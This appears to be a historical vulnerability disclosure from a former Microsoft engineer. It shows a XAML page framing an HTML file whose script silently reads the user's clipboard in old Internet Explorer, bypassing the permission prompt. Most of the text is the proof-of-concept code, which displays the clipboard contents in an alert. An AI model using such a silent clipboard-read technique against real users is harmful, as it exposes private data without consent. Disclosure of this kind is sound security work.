An HTML page hosted inside a WPF/E XAML <Frame> element can read the clipboard without any prompt. The XAML hosting context apparently gives the embedded HTML a different trust level, or bypasses the IE clipboard check entirely.

index.xaml:

<Page	xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
		WindowTitle="xamlFrameClipboardRead">
	<TextBlock HorizontalAlignment="Center" VerticalAlignment="Center">
		<Bold>xamlFrameClipboardRead</Bold>
		<LineBreak /><LineBreak /><LineBreak /><LineBreak />
		&lt;<Bold>Frame</Bold> Source="html_inside_xaml_frame_can_access_clipboard.html" /&gt;
		<LineBreak /><LineBreak />
		<Frame Width="400" Height="100" Source="html_inside_xaml_frame_can_access_clipboard.html" />
	</TextBlock>
</Page>

html_inside_xaml_frame_can_access_clipboard.html:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>Clipboard Read from inside a xaml</title></head>
<body>
<font face="Tahoma" size="2">
I am <font color="blue">html_inside_xaml_frame_can_access_clipboard.html</font>. To read the clipboard all I have to do is: <br />
alert(<b>clipboardData.getData('Text')</b>);
</font>

<script language="Javascript">
alert('Your Clipboard Content:\n\n' + clipboardData.getData('Text'));
</script>
</body>
</html>

When IE renders an HTML page inside a WPF/E <Frame>, the clipboard access check that normally triggers a prompt is skipped. The HTML content reads clipboardData.getData('Text') silently and gets the user’s clipboard contents immediately on load, without any dialog.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.